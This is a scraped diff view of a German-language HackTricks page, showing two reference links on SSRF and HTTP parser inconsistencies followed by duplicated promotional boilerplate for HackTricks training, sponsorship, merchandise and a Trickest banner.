* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue